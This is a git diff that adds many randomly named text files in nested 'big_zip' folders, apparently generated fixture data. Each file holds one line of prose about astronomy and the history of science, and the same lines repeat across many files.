+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_kegostll.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_kgiggxfzxuptxxvyul.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_kgiggxfzxuptxxvyul.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_kgiggxfzxuptxxvyul.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_mvylyhogsywssldwvpifvpk.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_mvylyhogsywssldwvpifvpk.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_mvylyhogsywssldwvpifvpk.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_orgqstmpsvyjfnkmtw.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_orgqstmpsvyjfnkmtw.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_orgqstmpsvyjfnkmtw.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_rvpqjyuguqff.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_rvpqjyuguqff.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_rvpqjyuguqff.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_tacfxmgjrvgui.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_tacfxmgjrvgui.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_tacfxmgjrvgui.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_tzoygjtzyxbvotgairscnfwn.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_tzoygjtzyxbvotgairscnfwn.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_tzoygjtzyxbvotgairscnfwn.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_ubalyymbdgifmerqerwtxtfm.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_ubalyymbdgifmerqerwtxtfm.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_ubalyymbdgifmerqerwtxtfm.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_uidhdklib.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_uidhdklib.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_uidhdklib.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_xmvgfpehvndzfrc.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_xmvgfpehvndzfrc.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_xmvgfpehvndzfrc.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_ajpdoxvgslmsdsqr.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_ajpdoxvgslmsdsqr.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_ajpdoxvgslmsdsqr.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_dnsqqzpnxis.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_dnsqqzpnxis.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_dnsqqzpnxis.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_exhbsxqo.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_exhbsxqo.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_exhbsxqo.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_gvfogdlsovjpovfoql.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_gvfogdlsovjpovfoql.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_gvfogdlsovjpovfoql.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_hvjzfpmlqgaeygnyooudc.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_hvjzfpmlqgaeygnyooudc.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_hvjzfpmlqgaeygnyooudc.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_jaukrcijgypgrtg.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_jaukrcijgypgrtg.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_jaukrcijgypgrtg.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_kitbbdixtzpkvvxbveaoswxe.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_kitbbdixtzpkvvxbveaoswxe.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_kitbbdixtzpkvvxbveaoswxe.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_logmnfvmidvdkmjij.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_logmnfvmidvdkmjij.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_logmnfvmidvdkmjij.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_plzrpmwbrxdmbyxk.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_plzrpmwbrxdmbyxk.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_plzrpmwbrxdmbyxk.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_qconcyhy.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_qconcyhy.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_qconcyhy.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_qwkqjlzkgqadvukf.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_qwkqjlzkgqadvukf.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_qwkqjlzkgqadvukf.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_rgvvqqyrj.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_rgvvqqyrj.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_rgvvqqyrj.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_sptvahpjk.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_sptvahpjk.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_sptvahpjk.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_tzjbqmwdrrzxmmc.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_tzjbqmwdrrzxmmc.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_tzjbqmwdrrzxmmc.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_vqyvdcxuqpewbupalqizivph.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_vqyvdcxuqpewbupalqizivph.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_vqyvdcxuqpewbupalqizivph.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_vtpcqbvcmahbvcngdyfusrji.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_vtpcqbvcmahbvcngdyfusrji.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_vtpcqbvcmahbvcngdyfusrji.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_wkvxuufvgblfdvoxuwm.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_wkvxuufvgblfdvoxuwm.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_wkvxuufvgblfdvoxuwm.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_xokovqngl.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_xokovqngl.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_xokovqngl.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_xuwzhdwundod.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_xuwzhdwundod.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_xuwzhdwundod.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_yrhntvmnoskta.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_yrhntvmnoskta.txt
new file mode 100644
index 0000000..f164764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/file_yrhntvmnoskta.txt
@@ -0,0 +1 @@
+survive the evolution of a star into a pulsar; or a planet could be captured at a later time. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/cortmzqo.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/cortmzqo.txt
new file mode 100644
index 0000000..9527ad8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/cortmzqo.txt
@@ -0,0 +1 @@
+the less likely it was to occur, and the longer before you would witness it, just as violent
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/dbgqpjlvjwicivucjvhya.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/dbgqpjlvjwicivucjvhya.txt
new file mode 100644
index 0000000..0a67ea2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/dbgqpjlvjwicivucjvhya.txt
@@ -0,0 +1 @@
+Between the times of Aristarchus and Huygens, humans answered the question that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/etnkybbiauyhuocduiygvkt.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/etnkybbiauyhuocduiygvkt.txt
new file mode 100644
index 0000000..e900fca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/etnkybbiauyhuocduiygvkt.txt
@@ -0,0 +1 @@
+is efficiently trapped, and the surface temperature rises - until the little amount of infrared
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/eveogqcruumqkgl.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/eveogqcruumqkgl.txt
new file mode 100644
index 0000000..99513db
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/eveogqcruumqkgl.txt
@@ -0,0 +1 @@
+work on its list of forbidden books ‘until corrected’ by local ecclesiastical censors, where it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_cgslmqxxuktmjinjhzx.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_cgslmqxxuktmjinjhzx.txt
new file mode 100644
index 0000000..7bfc93c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_cgslmqxxuktmjinjhzx.txt
@@ -0,0 +1 @@
+remote hinterland of the island of Puerto Rico, it is 305 meters (a thousand feet) across, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_ckjhhepinpfwybjfmxtaa.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_ckjhhepinpfwybjfmxtaa.txt
new file mode 100644
index 0000000..7bfc93c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_ckjhhepinpfwybjfmxtaa.txt
@@ -0,0 +1 @@
+remote hinterland of the island of Puerto Rico, it is 305 meters (a thousand feet) across, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_cwllsvstejcipyabwqcsfk.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_cwllsvstejcipyabwqcsfk.txt
new file mode 100644
index 0000000..7bfc93c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_cwllsvstejcipyabwqcsfk.txt
@@ -0,0 +1 @@
+remote hinterland of the island of Puerto Rico, it is 305 meters (a thousand feet) across, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_dybbkpxxbvvqcqxduce.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_dybbkpxxbvvqcqxduce.txt
new file mode 100644
index 0000000..7bfc93c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_dybbkpxxbvvqcqxduce.txt
@@ -0,0 +1 @@
+remote hinterland of the island of Puerto Rico, it is 305 meters (a thousand feet) across, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_ovobsjcaimkmqyamb.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_ovobsjcaimkmqyamb.txt
new file mode 100644
index 0000000..7bfc93c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_ovobsjcaimkmqyamb.txt
@@ -0,0 +1 @@
+remote hinterland of the island of Puerto Rico, it is 305 meters (a thousand feet) across, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_pgvbjipqgjul.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_pgvbjipqgjul.txt
new file mode 100644
index 0000000..7bfc93c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_pgvbjipqgjul.txt
@@ -0,0 +1 @@
+remote hinterland of the island of Puerto Rico, it is 305 meters (a thousand feet) across, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_qbzfhhioiwhcfkvzajeskat.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_qbzfhhioiwhcfkvzajeskat.txt
new file mode 100644
index 0000000..7bfc93c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_qbzfhhioiwhcfkvzajeskat.txt
@@ -0,0 +1 @@
+remote hinterland of the island of Puerto Rico, it is 305 meters (a thousand feet) across, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_qqzjazxyclk.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_qqzjazxyclk.txt
new file mode 100644
index 0000000..7bfc93c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_qqzjazxyclk.txt
@@ -0,0 +1 @@
+remote hinterland of the island of Puerto Rico, it is 305 meters (a thousand feet) across, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_rkjirlxfbozkcjrjwcevcs.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_rkjirlxfbozkcjrjwcevcs.txt
new file mode 100644
index 0000000..7bfc93c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_rkjirlxfbozkcjrjwcevcs.txt
@@ -0,0 +1 @@
+remote hinterland of the island of Puerto Rico, it is 305 meters (a thousand feet) across, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_rszqegorfixfiapcjzho.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_rszqegorfixfiapcjzho.txt
new file mode 100644
index 0000000..7bfc93c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_rszqegorfixfiapcjzho.txt
@@ -0,0 +1 @@
+remote hinterland of the island of Puerto Rico, it is 305 meters (a thousand feet) across, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_tkiukjziguxp.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_tkiukjziguxp.txt
new file mode 100644
index 0000000..7bfc93c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_tkiukjziguxp.txt
@@ -0,0 +1 @@
+remote hinterland of the island of Puerto Rico, it is 305 meters (a thousand feet) across, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_uhmczmfngjmra.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_uhmczmfngjmra.txt
new file mode 100644
index 0000000..7bfc93c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_uhmczmfngjmra.txt
@@ -0,0 +1 @@
+remote hinterland of the island of Puerto Rico, it is 305 meters (a thousand feet) across, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_wchhevxaahesfuvccavlxqo.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_wchhevxaahesfuvccavlxqo.txt
new file mode 100644
index 0000000..7bfc93c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_wchhevxaahesfuvccavlxqo.txt
@@ -0,0 +1 @@
+remote hinterland of the island of Puerto Rico, it is 305 meters (a thousand feet) across, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_ycofjezh.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_ycofjezh.txt
new file mode 100644
index 0000000..7bfc93c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_ycofjezh.txt
@@ -0,0 +1 @@
+remote hinterland of the island of Puerto Rico, it is 305 meters (a thousand feet) across, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_yfiykjuuwrwdlzbvbpwm.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_yfiykjuuwrwdlzbvbpwm.txt
new file mode 100644
index 0000000..7bfc93c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_yfiykjuuwrwdlzbvbpwm.txt
@@ -0,0 +1 @@
+remote hinterland of the island of Puerto Rico, it is 305 meters (a thousand feet) across, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_zcotdboxjb.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_zcotdboxjb.txt
new file mode 100644
index 0000000..7bfc93c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_zcotdboxjb.txt
@@ -0,0 +1 @@
+remote hinterland of the island of Puerto Rico, it is 305 meters (a thousand feet) across, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_zuwtrwbcmxfifk.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_zuwtrwbcmxfifk.txt
new file mode 100644
index 0000000..7bfc93c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/file_zuwtrwbcmxfifk.txt
@@ -0,0 +1 @@
+remote hinterland of the island of Puerto Rico, it is 305 meters (a thousand feet) across, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/fiylqdtld.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/fiylqdtld.txt
new file mode 100644
index 0000000..126c029
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/fiylqdtld.txt
@@ -0,0 +1 @@
+example, in the Essays on Idleness, written in 1332 by Tsurezuregusa Kenko, we read:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/frzfjmvkuwrjmvfjeguxwzyt.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/frzfjmvkuwrjmvfjeguxwzyt.txt
new file mode 100644
index 0000000..b24ebf3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/frzfjmvkuwrjmvfjeguxwzyt.txt
@@ -0,0 +1 @@
+domestication. In less than ten thousand years, domestication has increased the weight of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/gvyrwovdwxpfpvayoflg.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/gvyrwovdwxpfpvayoflg.txt
new file mode 100644
index 0000000..8b65ab8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/gvyrwovdwxpfpvayoflg.txt
@@ -0,0 +1 @@
+and evolution have been tied to distant cosmic events. The exploration of the Cosmos is a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/idtzytcr.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/idtzytcr.txt
new file mode 100644
index 0000000..d9bc28c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/idtzytcr.txt
@@ -0,0 +1 @@
+stars are so close that they touch, and starstuff flows beneath them. Most are as separated as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/jlmwntprgmmgmtzoe.txt b/big_zip/big-zip-files/folder_sowfjtixdy/folder_hbixabcwxj/folder_jzimjzgilt/jlmwntprgmmgmtzoe.txt
new file mode 100644
index 0000000..fcf5268
--- /dev/null
